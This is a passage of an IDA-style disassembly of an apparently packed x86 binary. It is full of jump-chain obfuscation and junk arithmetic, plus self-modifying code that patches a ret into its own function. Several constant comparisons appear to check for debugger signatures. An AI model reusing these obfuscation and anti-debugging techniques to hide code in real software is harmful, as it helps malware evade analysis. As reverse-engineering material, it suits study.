; END OF FUNCTION CHUNK	FOR sub_42F575
; ---------------------------------------------------------------------------


loc_427A6F:				; CODE XREF: wto1jq8f:0042B495j
		jmp	locret_42EE73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291B9


loc_427A74:				; CODE XREF: sub_4291B9-24F2j
		ror	eax, 1Bh
		jmp	loc_429440
; END OF FUNCTION CHUNK	FOR sub_4291B9
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_148. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		push	eax
		rol	eax, 1Ah
		mov	ds:dword_42D5C8, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429BFF


loc_427A88:				; CODE XREF: sub_429BFF+3CDCj
		jmp	loc_42DD22
; END OF FUNCTION CHUNK	FOR sub_429BFF

; =============== S U B	R O U T	I N E =======================================



sub_427A8D	proc near		; CODE XREF: sub_426E98+1B71j
					; sub_42E0FD:loc_4290B3j ...

var_18		= dword	ptr -18h

; FUNCTION CHUNK AT 004243EA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00424A6E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00426714 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428148 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004286D8 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004292D5 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0042A02C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042A041 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042ABD0 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042C151 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042C46B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C585 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042DAE8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E92E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042F543 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042FA6C SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0042FC2D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042FCD1 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0042FF62 SIZE 00000005 BYTES

		jo	sub_42B353
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		jmp	loc_42FCD1
sub_427A8D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_427A9E	proc near		; CODE XREF: sub_42CFE2-8FDCp
					; sub_429165-4257p ...

; FUNCTION CHUNK AT 00424C3D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00424E42 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C2AA SIZE 00000008 BYTES

		lea	eax, sub_427A9E
		jb	loc_42C2AA
		mov	byte ptr [eax],	0C3h
		call	sub_424585
		call	sub_42F50F


loc_427AB7:				; CODE XREF: sub_42B339+Dj
		jmp	sub_42A56D
sub_427A9E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_427ABC:				; CODE XREF: sub_426535+6F44j
		and	eax, ebx
		add	ecx, ebp
		and	eax, edi
		ror	edi, 11h
		jmp	loc_42BD93
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42506F


loc_427ACA:				; CODE XREF: sub_42506F+9AC1j
		add	edi, eax


loc_427ACC:				; CODE XREF: sub_42AAC3:loc_42EC23j
		adc	ecx, ebx


loc_427ACE:				; CODE XREF: sub_42506F:loc_425CFFj
		xor	eax, eax
		push	esi
		push	0F4873FC0h
		pop	esi
		jmp	loc_42E3C9
; END OF FUNCTION CHUNK	FOR sub_42506F
; ---------------------------------------------------------------------------


loc_427ADC:				; CODE XREF: wto1jq8f:0042E3A8j
		sub	eax, 3483C81Ch
		shr	ebx, 0Fh
		cmp	edi, 457BEB84h
		jmp	loc_42F3DB
; ---------------------------------------------------------------------------
		adc	ebx, eax
		xchg	ebp, [edx]
		jmp	sub_426144
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425944


loc_427AF9:				; CODE XREF: sub_425944+4j
		mov	eax, [ebp-4]
		call	sub_429A28
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jle	loc_4245A1
		mov	eax, [ebp-4]
		jmp	loc_426ABA
; END OF FUNCTION CHUNK	FOR sub_425944
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4283CC


loc_427B16:				; CODE XREF: sub_4283CC:loc_42F109j
		call	sub_42A56D
		call	sub_42ED32
		call	nullsub_214
; END OF FUNCTION CHUNK	FOR sub_4283CC
; START	OF FUNCTION CHUNK FOR sub_424585


loc_427B25:				; CODE XREF: sub_428DBE+14j
					; sub_424585+5B04j
		mov	eax, ds:dword_42DAE4
		mov	[ebp+var_4], eax
		mov	eax, offset dword_42FB68
		jmp	loc_428840
; END OF FUNCTION CHUNK	FOR sub_424585
; ---------------------------------------------------------------------------


loc_427B37:				; CODE XREF: wto1jq8f:00427B67j
		jle	loc_42B5CD

; =============== S U B	R O U T	I N E =======================================



sub_427B3D	proc near		; CODE XREF: sub_42506F+9366p

; FUNCTION CHUNK AT 00427FD8 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042CBB7 SIZE 00000005 BYTES

		mov	[esp+0], esi
		pop	esi
		xor	esi, 0DFC52808h
		add	esi, ebp
		add	esi, 9438514h
		mov	[esi], eax
		jmp	loc_42CBB7
sub_427B3D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_427B56:				; CODE XREF: wto1jq8f:00428415j
		jnz	loc_42EACC
		jmp	loc_42AE4E
; ---------------------------------------------------------------------------
		test	eax, 351FD97Ch
		jmp	loc_427B37
; ---------------------------------------------------------------------------


loc_427B6C:				; DATA XREF: wto1jq8f:0042731Eo
		mov	eax, [eax]
		add	eax, [ebp-4]
		call	sub_42FC85
		cmp	eax, [ebp-8]
		jnz	loc_42FC74
		mov	eax, [ebp-14h]
		mov	eax, [eax+24h]
		jmp	loc_427153
; ---------------------------------------------------------------------------


loc_427B8A:				; CODE XREF: wto1jq8f:00424EFAj
		jnz	loc_4283F0
		jmp	loc_42F63F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429B76


loc_427B95:				; CODE XREF: sub_429B76-27DEj
		jp	loc_42E0C6


loc_427B9B:				; CODE XREF: sub_429B76:loc_42A0C8j
		call	sub_42B10A
		lea	eax, sub_42A59B
		mov	[ebp-4], eax
		call	sub_42B8FC
		mov	ds:dword_42F1D4, eax
		jmp	loc_42D284
; ---------------------------------------------------------------------------


loc_427BB8:				; CODE XREF: sub_429B76:loc_424183j
		push	esi
		jmp	loc_429390
; END OF FUNCTION CHUNK	FOR sub_429B76
; ---------------------------------------------------------------------------


loc_427BBE:				; CODE XREF: wto1jq8f:0042D937j
		jo	loc_42BF74
		jno	loc_42ABC0
		jmp	sub_42689A
; ---------------------------------------------------------------------------


loc_427BCF:				; DATA XREF: sub_42BE69+3D7Co
		mov	eax, ds:dword_425108[eax*4]
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		push	offset sub_42D09C
		jmp	loc_42429F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C786


loc_427BE7:				; CODE XREF: sub_42C786:loc_42F15Ej
		mov	[ecx+0B8h], eax
		pop	ecx
		xor	eax, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_42C786

; =============== S U B	R O U T	I N E =======================================



sub_427BF1	proc near		; DATA XREF: sub_42C786+Ao
		xor	eax, eax
sub_427BF1	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_42CF50


loc_427BF3:				; CODE XREF: sub_42CF50+15j
		pop	large dword ptr	fs:0
		add	esp, 4
		jmp	loc_42D7F2
; END OF FUNCTION CHUNK	FOR sub_42CF50
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FBC7


loc_427C02:				; CODE XREF: sub_42FBC7-9431j
		jp	loc_429662
		mov	edx, esi
		sbb	edx, ebp


loc_427C0C:				; CODE XREF: wto1jq8f:loc_42A87Dj
		call	sub_42ED01
		jmp	loc_42899F
; END OF FUNCTION CHUNK	FOR sub_42FBC7
; ---------------------------------------------------------------------------


loc_427C16:				; CODE XREF: wto1jq8f:0042C639j
		sbb	ebp, ebx
; START	OF FUNCTION CHUNK FOR sub_42C61B


loc_427C18:				; CODE XREF: sub_42C61B:loc_42C628j
		add	ebx, 0DE303E04h
		xchg	ebx, [esp+4+var_4]
		jmp	loc_42AE59
; END OF FUNCTION CHUNK	FOR sub_42C61B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_427C26:				; CODE XREF: sub_426E98:loc_426E0Bj
		jnz	loc_42EF03
		mov	ecx, [ebx+edx-4]
		or	ecx, ecx
		jz	loc_42E0A8
		jmp	loc_42CAF0
; ---------------------------------------------------------------------------


loc_427C3D:				; CODE XREF: sub_426E98:loc_42EF03j
		add	edx, 14h
		mov	ecx, [ebx+edx-8]
		or	ecx, ecx
		jz	loc_42E0A8
		jmp	loc_42BAAA
; END OF FUNCTION CHUNK	FOR sub_426E98
; ---------------------------------------------------------------------------


loc_427C51:				; CODE XREF: wto1jq8f:0042C198j
		ja	loc_42A48B
		xchg	eax, ebx
		add	ebp, 732CF642h
		jmp	loc_426A2E
; ---------------------------------------------------------------------------
		mov	[edi], esi
		jmp	sub_42B35E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B276


loc_427C6B:				; CODE XREF: sub_42B276-F6Cj
		adc	edi, ebx
		sub	ebx, 255C8807h


loc_427C73:				; CODE XREF: sub_426144:loc_42F876j
		pop	large dword ptr	fs:0
		add	esp, 4
		mov	eax, 50h
		jmp	loc_42E838
; END OF FUNCTION CHUNK	FOR sub_42B276
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4292B9


loc_427C87:				; CODE XREF: sub_4292B9:loc_42FD2Dj
		pop	ebx
		call	sub_42C43B
; END OF FUNCTION CHUNK	FOR sub_4292B9
; START	OF FUNCTION CHUNK FOR sub_426350


loc_427C8D:				; CODE XREF: sub_426350+3C60j
		jmp	loc_42E9D4
; END OF FUNCTION CHUNK	FOR sub_426350

; =============== S U B	R O U T	I N E =======================================



sub_427C92	proc near		; CODE XREF: sub_42AAC3:loc_42EC2Fp

; FUNCTION CHUNK AT 0042EF74 SIZE 00000005 BYTES

		mov	[esp+0], edx
		push	0C527B259h
		pop	edx
		add	edx, 3B1B13E5h
		xchg	edx, [esp+0]
		jmp	loc_42EF74
sub_427C92	endp

; ---------------------------------------------------------------------------


loc_427CA9:				; CODE XREF: wto1jq8f:loc_424081j
		call	sub_42F987


loc_427CAE:				; CODE XREF: wto1jq8f:00429D1Ej
		jmp	locret_4246C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428F61


loc_427CB3:				; CODE XREF: sub_428F61-4931j
		jmp	loc_42FA93
; END OF FUNCTION CHUNK	FOR sub_428F61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4244EA


loc_427CB8:				; CODE XREF: sub_4244EA:loc_424E3Cj
					; sub_4244EA+37DAj
		mov	[ebp-5], al
		mov	al, [ebp-5]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_427CC2:				; CODE XREF: wto1jq8f:00426B6Ej
					; sub_4244EA+4493j ...
		mov	al, 1
		jmp	loc_427CB8
; END OF FUNCTION CHUNK	FOR sub_4244EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42689A


loc_427CC9:				; CODE XREF: sub_42689A:loc_424538j
		div	ecx
		mov	[ebp-18h], edx
		call	sub_428BF4
; END OF FUNCTION CHUNK	FOR sub_42689A
; START	OF FUNCTION CHUNK FOR sub_425A9E


loc_427CD3:				; CODE XREF: sub_425A9E+7j
		jmp	loc_425EBD
; END OF FUNCTION CHUNK	FOR sub_425A9E
; ---------------------------------------------------------------------------


loc_427CD8:				; CODE XREF: wto1jq8f:0042E445j
		jo	loc_42BD8E


loc_427CDE:				; CODE XREF: wto1jq8f:loc_426693j
		lea	eax, [ebp-2BBh]
		cmp	dword ptr [eax], 4742444Fh
		jz	loc_4265DB
		jmp	loc_428EEA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42750A


loc_427CF5:				; CODE XREF: sub_42750A+23D2j
		jz	loc_426849
		jmp	loc_427335
; END OF FUNCTION CHUNK	FOR sub_42750A

; =============== S U B	R O U T	I N E =======================================



sub_427D00	proc near		; CODE XREF: sub_426AD4+2094p
					; wto1jq8f:0042CFDDj
		mov	[esp+0], esi
sub_427D00	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_42C486


loc_427D03:				; CODE XREF: sub_42C486-3B9Aj
		pop	esi
		mov	edx, [ebp-14h]
		shr	edx, 3
		mov	ecx, ds:dword_429558
		movzx	edx, byte ptr [ecx+edx]
		and	eax, edx
		jmp	loc_42D088
; END OF FUNCTION CHUNK	FOR sub_42C486
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_142. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CBD1


loc_427D1C:				; CODE XREF: sub_42CBD1+18j
		jmp	loc_4287EB
; END OF FUNCTION CHUNK	FOR sub_42CBD1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429BD3


loc_427D21:				; CODE XREF: sub_429BD3+Ej
		jmp	loc_42B9B4
; END OF FUNCTION CHUNK	FOR sub_429BD3
; ---------------------------------------------------------------------------


loc_427D26:				; CODE XREF: wto1jq8f:004291DBj
		jmp	loc_428511
; ---------------------------------------------------------------------------
		jle	loc_426956
		pushf
		jmp	sub_4263D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_427D37:				; CODE XREF: sub_42C486-3B94j
		sbb	edx, ecx


loc_427D39:				; CODE XREF: sub_42B353:loc_42FFCBj
		lea	edx, [ebp-14h]


loc_427D3C:				; CODE XREF: wto1jq8f:loc_4244E4j
		mov	eax, offset dword_42D5D0
		call	sub_42A56D
		jmp	loc_42F836
; END OF FUNCTION CHUNK	FOR sub_42C486
; ---------------------------------------------------------------------------
		add	ebp, 4887087Dh
		pushf
; START	OF FUNCTION CHUNK FOR sub_426968


loc_427D52:				; CODE XREF: sub_426968:loc_42D855j
		jmp	sub_42B339
; END OF FUNCTION CHUNK	FOR sub_426968
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F75D


loc_427D57:				; CODE XREF: sub_42F75D+Ej
		mov	eax, [ebp+8]
		mov	eax, [eax-8]
		or	eax, 8
		or	eax, 10h


loc_427D63:				; CODE XREF: sub_42AAC3+4166j
		mov	edx, [ebp+8]
		mov	[edx-8], eax
		jmp	loc_42A585
; ---------------------------------------------------------------------------


loc_427D6E:				; CODE XREF: sub_42F75D+8j
		cmp	dword ptr [ebp-10h], 2
		push	offset loc_42A386
		jmp	nullsub_175
; END OF FUNCTION CHUNK	FOR sub_42F75D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_29. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_427D7D:				; CODE XREF: sub_42C486-662Bj
		jmp	loc_42AB3A
; END OF FUNCTION CHUNK	FOR sub_42C486

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427D82	proc near		; CODE XREF: sub_428A19+7p
					; sub_42F2C7-607Ep

; FUNCTION CHUNK AT 004259B9 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00427A18 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042EC34 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_4259B9
sub_427D82	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426950


loc_427D8B:				; CODE XREF: sub_426950+4D53j
		xchg	edi, [edx]
; END OF FUNCTION CHUNK	FOR sub_426950

; =============== S U B	R O U T	I N E =======================================



sub_427D8D	proc near		; CODE XREF: sub_426950:loc_42AD8Aj

; FUNCTION CHUNK AT 00425B04 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00429566 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F1D8 SIZE 00000005 BYTES

		push	ebx
		push	0DC533826h
		pop	ebx
		rol	ebx, 0Fh
		jmp	loc_42F1D8
sub_427D8D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426968


loc_427D9C:				; CODE XREF: sub_426968:loc_429EE0j
		jz	loc_42D85B
		jmp	loc_424D53
; END OF FUNCTION CHUNK	FOR sub_426968

; =============== S U B	R O U T	I N E =======================================



sub_427DA7	proc near		; DATA XREF: sub_42FF9A-72F9o

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00427061 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042A57D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A96E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042ED18 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0042FB14 SIZE 0000000F BYTES

		sbb	ebx, eax
		not	eax
		adc	ebx, ecx
		add	edx, 0AACB2EFCh
		jz	loc_427061
		sub	eax, 0C17A267Ch
		adc	ebx, 70DF8F90h
		jmp	loc_42FB14
sub_427DA7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_427DCA:				; CODE XREF: wto1jq8f:0042F346j
		mov	eax, 150h
		call	sub_428183
		jmp	loc_428E7B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428BC4


loc_427DD9:				; CODE XREF: sub_428BC4+4934j
		pop	large dword ptr	fs:0
		add	esp, 4


loc_427DE3:				; CODE XREF: wto1jq8f:00429C97j
		pop	ecx
		mov	ecx, offset sub_42CF2B
		call	sub_42419B
; END OF FUNCTION CHUNK	FOR sub_428BC4
; START	OF FUNCTION CHUNK FOR sub_428136


loc_427DEE:				; CODE XREF: sub_428136-1439j
		jmp	loc_428FC7
; END OF FUNCTION CHUNK	FOR sub_428136
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EFB5


loc_427DF3:				; CODE XREF: sub_42EFB5-1671j
		sub	edi, 0CABF05F4h
		sub	esi, 0DF34073Ah


loc_427DFF:				; CODE XREF: sub_42EFB5:loc_42D692j
		call	sub_4282A6


loc_427E04:				; CODE XREF: wto1jq8f:loc_426A4Fj
		jns	sub_424556
		jmp	loc_4297A3
; END OF FUNCTION CHUNK	FOR sub_42EFB5
; ---------------------------------------------------------------------------
		sub	eax, 0C85AA677h
		jmp	sub_4282FE
; ---------------------------------------------------------------------------


loc_427E1A:				; CODE XREF: wto1jq8f:00426914j
		xor	edx, 1F4CC71Eh
		call	sub_429165
		push	esi
		push	981FA149h
		pop	esi
		rol	esi, 11h
		xor	esi, 0A640173Bh
		jmp	loc_42B163
; ---------------------------------------------------------------------------


loc_427E3A:				; DATA XREF: sub_424F23+1479o
		add	edx, eax
		rol	edx, 5
		xor	edx, esi
		rol	edx, 5
		add	edx, edi
		push	offset loc_42BFD0
		jmp	locret_425A7D

; =============== S U B	R O U T	I N E =======================================



sub_427E50	proc near		; CODE XREF: sub_426E98+128j
					; sub_4294F4+113Fp

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00427251 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0042B975 SIZE 00000005 BYTES

		mov	[esp+0], eax
		pop	eax
		push	eax
		call	sub_42D910
		mov	ds:dword_42F1F0, eax


loc_427E5F:				; CODE XREF: sub_4294F4:loc_42A62Aj
		lea	eax, [ebp-14h]
		xor	edx, edx
		push	edi


loc_427E65:				; CODE XREF: wto1jq8f:loc_42F799j
		jmp	loc_427251
sub_427E50	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4244EA


loc_427E6A:				; CODE XREF: sub_4244EA+B176j
		cmp	ecx, eax
		jmp	loc_42DB8C
; END OF FUNCTION CHUNK	FOR sub_4244EA
; ---------------------------------------------------------------------------
		mov	esi, [ebx]
		shl	ebp, 1
		jmp	sub_42A54A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428A19


loc_427E7A:				; CODE XREF: sub_428A19+3901j
		push	0DF2CEA6Ch
		pop	eax
		sub	eax, 7E43BAAAh
		and	eax, 51EBB87Eh
		add	eax, 0A2B67600h
		add	eax, ebp
		jmp	loc_42CAE4
; END OF FUNCTION CHUNK	FOR sub_428A19
; ---------------------------------------------------------------------------


loc_427E99:				; CODE XREF: wto1jq8f:004271EFj
		mov	[ebp+0], ebx
		jmp	loc_42B4E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_427EA1:				; CODE XREF: sub_426535:loc_42C172j
		cmp	dword ptr [ebp-4], 4


loc_427EA5:				; CODE XREF: sub_429BFF+3B37j
		jnz	loc_42B4E8
		lea	eax, [ebp-2BBh]
		cmp	dword ptr [eax], 47424454h
		jz	loc_4265DB
		jmp	loc_42B4E8
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428AC6


loc_427EC2:				; CODE XREF: sub_428AC6:loc_42DE02j
		mov	eax, [ebp-4]
		movzx	eax, word ptr [eax+14h]
		push	esi
		push	0A71F4FA7h
		pop	esi
		rol	esi, 10h
		jmp	loc_42CF9E
; END OF FUNCTION CHUNK	FOR sub_428AC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F563


loc_427ED8:				; CODE XREF: sub_42F563-3BBj
		add	eax, 414B998Ch
		mov	eax, [eax]
		push	offset sub_42D120
		jmp	loc_42E3E5
; END OF FUNCTION CHUNK	FOR sub_42F563
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A909


loc_427EEA:				; CODE XREF: sub_42A909:loc_42C58Aj
		mov	[eax], edx
		push	326D078Dh
		jmp	loc_42E81B
; END OF FUNCTION CHUNK	FOR sub_42A909
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428B05


loc_427EF6:				; CODE XREF: sub_428B05+9j
					; sub_428B05:loc_429A43j ...
		js	loc_429A4F
		sub	ebx, 10000h
		mov	eax, [ebx]
		neg	eax
		cmp	ax, 0A5B3h
		jmp	loc_429A43
; END OF FUNCTION CHUNK	FOR sub_428B05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DB52


loc_427F0F:				; CODE XREF: sub_42DB52:loc_428F91j
		jnz	loc_426492
		jmp	loc_428F51
; END OF FUNCTION CHUNK	FOR sub_42DB52

; =============== S U B	R O U T	I N E =======================================



sub_427F1A	proc near		; CODE XREF: wto1jq8f:00429186j
					; wto1jq8f:0042F5CDp
		xchg	eax, [esp+0]
		pop	eax
		push	eax
		rol	eax, 17h
		mov	ds:dword_42F0A4, eax
		retn
sub_427F1A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D434


loc_427F29:				; CODE XREF: sub_42D434+1087j
		jmp	loc_428454
; END OF FUNCTION CHUNK	FOR sub_42D434
; ---------------------------------------------------------------------------
		sub	ebp, 87FF7DF9h
		jmp	sub_427218
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_427F39:				; CODE XREF: sub_426535+35D3j
		cmp	esi, 26F4212Ch
		jmp	loc_425043
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429459


loc_427F44:				; CODE XREF: sub_429459-2A1Cj
					; wto1jq8f:0042DA7Cj
		ror	eax, 18h
		push	eax
		call	sub_42D765
		retn
; END OF FUNCTION CHUNK	FOR sub_429459

; =============== S U B	R O U T	I N E =======================================



sub_427F4E	proc near		; CODE XREF: wto1jq8f:00427821p
					; sub_42A6E3+15j ...
		jo	sub_42F119
		xchg	ebp, ebx
		push	offset sub_42873E
		jmp	nullsub_153
sub_427F4E	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_101. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E0FD


loc_427F61:				; CODE XREF: sub_42E0FD-5685j
		jmp	loc_4273C5
; END OF FUNCTION CHUNK	FOR sub_42E0FD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_138. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C507


loc_427F67:				; CODE XREF: sub_42C507-585j
		jmp	nullsub_90
; END OF FUNCTION CHUNK	FOR sub_42C507
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4282FE


loc_427F6C:				; CODE XREF: sub_4282FE-1284j
		rol	ebp, 17h
		jmp	loc_42A425
; END OF FUNCTION CHUNK	FOR sub_4282FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A909


loc_427F74:				; CODE XREF: sub_42A909+4495j
		add	ebp, edx
		jmp	loc_428EB6
; END OF FUNCTION CHUNK	FOR sub_42A909
; ---------------------------------------------------------------------------
		mov	[edi], esi
		jmp	loc_42D9D3
; ---------------------------------------------------------------------------
		test	al, al
		jz	loc_428552
		jmp	loc_42A072

; =============== S U B	R O U T	I N E =======================================



sub_427F8F	proc near		; CODE XREF: wto1jq8f:00426B74j
					; wto1jq8f:00429D05p

; FUNCTION CHUNK AT 0042AA7F SIZE 00000003 BYTES
; FUNCTION CHUNK AT 0042C20B SIZE 0000000A BYTES

		mov	[esp+0], ecx
		pop	ecx
		test	byte ptr [eax-8], 10h
		jz	loc_42C20B
		jmp	loc_42AA7F
sub_427F8F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_427FA2:				; CODE XREF: wto1jq8f:loc_42A7BFj
		mov	ecx, offset loc_427FAB
		xchg	ecx, [esp]
		retn
; ---------------------------------------------------------------------------


loc_427FAB:				; DATA XREF: wto1jq8f:loc_427FA2o
		and	ecx, 0DB4094DEh
		jmp	loc_42EC74
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DC5C


loc_427FB6:				; CODE XREF: sub_42DC5C:loc_42DE36j
		push	edx
		pushf
		push	offset loc_42754B
		jmp	nullsub_109
; END OF FUNCTION CHUNK	FOR sub_42DC5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F614


loc_427FC2:				; CODE XREF: sub_42F614:loc_42DFA2j
		jnz	loc_425D67
		jmp	loc_4269C6
; END OF FUNCTION CHUNK	FOR sub_42F614
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_60. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4246D4


loc_427FCE:				; CODE XREF: sub_4246D4+4689j
		jmp	loc_428B27
; END OF FUNCTION CHUNK	FOR sub_4246D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA68


loc_427FD3:				; CODE XREF: sub_42AA68-1EECj
		jmp	loc_425BE9
; END OF FUNCTION CHUNK	FOR sub_42AA68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427B3D


loc_427FD8:				; CODE XREF: sub_427B3D:loc_42CBB7j
		pop	esi
		lea	eax, [ebp-70h]
		push	eax
		call	dword ptr [ebp-4]


loc_427FE0:				; CODE XREF: sub_42FA0F+9j
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_427B3D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E83D


loc_427FE4:				; CODE XREF: sub_42E83D+Ej
		jmp	loc_42C3B7
; END OF FUNCTION CHUNK	FOR sub_42E83D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_427FE9:				; CODE XREF: sub_426535-24D5j
		jmp	nullsub_23
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------
		mov	edx, 43A8AC5Ch
		push	eax
		push	96892669h
		pop	eax
		jmp	loc_42E22A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AF82


loc_427FFF:				; CODE XREF: sub_42AF82+14j
		xchg	edx, [esi]
		and	edi, 75B4711Dh
		sbb	edx, 0DFF8F16Dh
		sub	edi, ebp
		jmp	loc_42D3B9
; END OF FUNCTION CHUNK	FOR sub_42AF82
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42750A


loc_428014:				; CODE XREF: sub_42750A+16j
		pop	eax
		sub	eax, 0A30516CFh
		or	eax, ds:4000F2h
		js	loc_4298CC
		mov	[esi], eax
		jmp	sub_4260A9
; END OF FUNCTION CHUNK	FOR sub_42750A
; ---------------------------------------------------------------------------


loc_42802E:				; CODE XREF: wto1jq8f:loc_42638Dj
		jz	loc_42C7E5
		jmp	loc_42B042
; ---------------------------------------------------------------------------


loc_428039:				; CODE XREF: wto1jq8f:00429995j
		and	eax, 0FFFFFFh
		cmp	eax, 0C3C033h
		jnz	loc_42A503
		jmp	loc_42B882
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426C0C


